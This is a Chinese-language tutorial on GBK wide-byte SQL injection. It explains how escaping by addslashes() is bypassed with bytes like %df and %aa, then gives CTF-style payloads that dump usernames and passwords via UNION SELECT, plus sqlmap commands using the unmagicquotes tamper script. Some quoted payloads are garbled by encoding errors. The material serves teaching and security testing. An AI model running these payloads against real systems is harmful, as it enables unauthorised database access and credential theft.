SQL注入寬字節(jié)注入由淺到深學(xué)習(xí)
目錄
- 前言
- 基礎(chǔ)知識(shí)
- 寬字節(jié)
- 寬字節(jié)注入
- 例子
- 例題一
- 例題二
- SQLMAP應(yīng)用
- 結(jié)語(yǔ)
前言
突然想起來(lái)之前講SQL注入時(shí)忘記講一下這個(gè)寬字節(jié)注入了,因?yàn)檫@個(gè)知識(shí)點(diǎn)還是挺重要的,所以本文就帶大家了解一下寬字節(jié)注入的原理以及應(yīng)用方法,下面由我來(lái)給大家詳細(xì)講解一下。
基礎(chǔ)知識(shí)
寬字節(jié)
在了解寬字節(jié)注入之前,我們要了解一下什么是寬字節(jié),相對(duì)于單字節(jié),我們引入一個(gè)字符數(shù)大小為兩個(gè)字節(jié)的為寬字節(jié),比如GBK編碼,我們漢字通常使用的就是GBK編碼,也就是說(shuō)一次性會(huì)讀取兩個(gè)字節(jié)。
寬字節(jié)注入
產(chǎn)生寬字節(jié)注入的原因涉及了編碼轉(zhuǎn)換的問(wèn)題,當(dāng)我們的mysql使用GBK編碼后,同時(shí)兩個(gè)字符的前一個(gè)字符ASCII碼大于128時(shí),會(huì)將兩個(gè)字符認(rèn)成一個(gè)漢字,那么大家像一個(gè),如果存在過(guò)濾我們輸入的函數(shù)(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)會(huì)將我們的輸入進(jìn)行轉(zhuǎn)義,那么我們是不是可以嘗試注入,我們舉一個(gè)簡(jiǎn)單的例子:
addslashes()函數(shù)
該函數(shù)的作用是返回在預(yù)定義字符之前添加反斜杠的字符串。于是我們可以分析一下我們轉(zhuǎn)入的參數(shù)流程:
假設(shè)我們傳入一個(gè)參數(shù)id為1'查看數(shù)據(jù)庫(kù)是否錯(cuò)報(bào):
index.php?id=1"
那么經(jīng)過(guò)函數(shù)過(guò)濾后我們的輸入拼接到sql語(yǔ)句就會(huì)變成:
select * from user where id = "1""
可以看到單引號(hào)被轉(zhuǎn)義了,加入我們像下面一樣傳參:
可以看到我們傳入的參數(shù)與\合并成了一個(gè)漢字,具體可以參考下圖:
可以看到我們的單引號(hào)沒(méi)有被轉(zhuǎn)義,從而達(dá)到了閉合單引號(hào)的效果,這就是一個(gè)簡(jiǎn)單的寬字節(jié)注入。但是需要有個(gè)前提,也就是MYSQL設(shè)置了GBK編碼:
SET character_set_client =gbk
例子
例題一
進(jìn)入頁(yè)面發(fā)現(xiàn)url可以有個(gè)變量id可以傳入?yún)?shù),于是我們傳參測(cè)試是否報(bào)錯(cuò)
?id=1"
發(fā)現(xiàn)單引號(hào)被轉(zhuǎn)義了,數(shù)據(jù)庫(kù)沒(méi)有進(jìn)行錯(cuò)報(bào),具體可以看下圖:
結(jié)合我們上面學(xué)習(xí)到的寬字節(jié)注入的知識(shí),懷疑是addslashes函數(shù)轉(zhuǎn)義了我們的單引號(hào),于是我們嘗試進(jìn)行繞過(guò),我們先查詢列數(shù):
?id=1%aa%27 order by 3--+
發(fā)現(xiàn)列數(shù)為三后,判斷回顯位置:
?id=-1%aa%27union select 1,2,database()--+
成功爆出了數(shù)據(jù)庫(kù)的名字,于是后面操作就跟平常的SQL注入一樣了:
?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
例題二
打開(kāi)網(wǎng)頁(yè)有一個(gè)查詢框讓我們進(jìn)行查詢,我們嘗試加入單引號(hào)但發(fā)現(xiàn)沒(méi)有報(bào)錯(cuò),于是查看下源碼看看有沒(méi)有有用信息:
gb2312正是漢字編碼字符集,于是我們嘗試寬字節(jié)注入:
?id=1%df%27%20union%20select%201,database()%23
成功回顯了數(shù)據(jù)庫(kù)的名字,說(shuō)明可行,于是我們繼續(xù)注入:
?id=1%df%27%20union%20select%201,string%20from%20sql5.key%20--%20
得到了我們想要查詢的信息。
SQLMAP應(yīng)用
SQLMAP作為一個(gè)強(qiáng)大的SQL注入自動(dòng)化工具也是可以進(jìn)行寬字節(jié)注入測(cè)試的,下面我們來(lái)學(xué)習(xí)一下利用SQLMAP走一遍寬字節(jié)注入的流程:
先跑數(shù)據(jù)庫(kù)名:
sqlmap.py -u "http://sql/index.php?id=3" --tamper unmagicquotes --dbs
其中tamper為利用SQLMAP中自帶的腳本,當(dāng)然我們也可以手動(dòng)導(dǎo)入,而unmagicquotes為我們寬字節(jié)注入利用的腳本,下面查詢表名:
index.php?id=3" --tamper unmagicquotes -D "xino" --tables
爆出來(lái)表名后爆列名:
index.php?id=3" --tamper unmagicquotes -D `xino` -T ctf --columns
之后我們爆出數(shù)據(jù):
id=3" --tamper unmagicquotes -D `xino` -T ctf -C flag
SQLMAP中進(jìn)行寬字節(jié)注入還是比較簡(jiǎn)單的,只需要注意我們利用到了sqlmap的寬字節(jié)注入腳本,其他的跟平時(shí)注入并沒(méi)有很大的差別。
結(jié)語(yǔ)
今天總結(jié)了一下寬字節(jié)注入的原理以及應(yīng)用方法,整的來(lái)看寬字節(jié)注入的利用環(huán)境就是當(dāng)我們的單引號(hào)被轉(zhuǎn)義了不能進(jìn)行注入時(shí)可以考慮利用寬字符的編碼解析特性來(lái)進(jìn)行單引號(hào)的逃逸,認(rèn)真學(xué)習(xí)一下還是比較容易理解的,更多關(guān)于SQL寬字節(jié)注入的資料請(qǐng)關(guān)注其它相關(guān)文章!
相關(guān)文章:
1. PHP安全-SQL 注入
